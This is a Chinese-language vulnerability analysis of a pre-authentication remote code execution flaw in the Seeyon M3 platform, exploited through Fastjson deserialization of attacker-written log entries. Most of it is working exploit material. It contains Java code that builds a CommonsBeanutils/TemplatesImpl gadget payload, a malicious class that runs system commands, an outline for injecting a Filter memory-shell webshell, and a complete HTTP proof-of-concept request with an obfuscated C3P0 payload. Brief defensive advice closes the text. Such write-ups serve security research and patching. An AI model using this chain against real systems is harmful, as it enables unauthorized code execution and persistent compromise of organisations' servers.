某远M3 前台远程代码执行漏洞
字数 1074 2025-08-24 07:48:10
致远M3前台远程代码执行漏洞分析
漏洞概述
致远M3系统存在一个前台远程代码执行漏洞,该漏洞利用Fastjson反序列化漏洞实现RCE。攻击者可以通过两个接口的配合使用,将恶意payload写入日志后触发反序列化操作,从而执行任意代码。
漏洞分析
漏洞原理
该漏洞分为两个关键步骤:
- payload写入日志:通过
/mobile_portal/api/pns/message/send/batch/6_1sp1接口将恶意payload存入日志 - 触发反序列化:通过
/mobile_portal/api/systemLog/pns/loadLog/app.log接口读取日志内容并进行Fastjson反序列化
详细分析
第一步:payload写入日志
- 攻击者向
/mobile_portal/api/pns/message/send/batch/6_1sp1接口发送特制请求 - 系统会调用
M3PushMessageTask.getInstance()获取实例并启动线程 - 线程执行
sendMessageByV61sp1方法,根据serviceProvider参数选择对应的PushPublisher - 当
serviceProvider设置为"baidu"时,进入BaiduPushPublisher处理 - 在
sendAndroidMessage方法中,直接将userMessageId写入日志文件/logs_pns/app.log
第二步:触发反序列化
- 攻击者访问
/mobile_portal/api/systemLog/pns/loadLog/app.log接口 - 系统读取日志内容并调用
setLogList方法 setLogList方法直接调用JSON.Util.parseJSONString()对日志内容进行反序列化- 恶意payload被反序列化,触发Fastjson漏洞
调用栈
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171)
at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:722)
at java.util.PriorityQueue.siftDown(PriorityQueue.java:688)
at java.util.PriorityQueue.heapify(PriorityQueue.java:737)
at java.util.PriorityQueue.readObject(PriorityQueue.java:797)
...
at com.alibaba.fastjson.JSON.parseObject(JSON.java:295)
at com.seeyon.portal.core.utils.JSONUtil.parseJSONString(JSONUtil.java:83)
at com.seeyon.portal.rest.resources.LogResource.setLogList(LogResource.java:163)
漏洞利用
利用方式
- 使用C3P0依赖的Fastjson加载HEX编码,实现二次反序列化
- 反序列化部分可利用CB链打
TemplateImpl加载字节码 - 由于第一步需要传入List类型,JSON数据外层需要加
[]
利用代码
生成反序列化payload
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class M3Payload {
// 省略辅助方法...
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(Serialize_Evil.class.getName());
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{ctClass.toBytecode()});
setFieldValue(templates, "_name", "123");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});
setFieldValue(priorityQueue, "size", 2);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(priorityQueue);
System.out.println(toHexAscii(baos.toByteArray()));
}
}
恶意类示例
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Serialize_Evil extends AbstractTranslet {
public Serialize_Evil() throws Exception {
super();
Runtime.getRuntime().exec("ping xxxxx");
}
// 省略其他方法...
}
内存马注入
可以利用该漏洞注入Filter内存马:
public class Serialize_FilterMemshell extends AbstractTranslet implements Filter {
// 实现Filter接口的方法...
// 在static块中注入内存马...
}
POC示例
POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: target
Content-Type: application/json
Content-Length: 3680
[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:HEX;\"}|","channelId":"111","title":"111","content":"222","deviceType":"androidphone","serviceProvider":"baidu","deviceFirm":"other"}]
然后访问:
GET /mobile_portal/api/systemLog/pns/loadLog/app.log
防御建议
- 升级Fastjson到最新安全版本
- 对日志读取接口进行严格的输入验证
- 限制不必要的接口访问权限
- 使用白名单机制限制反序列化的类
- 部署WAF等防护设备拦截恶意请求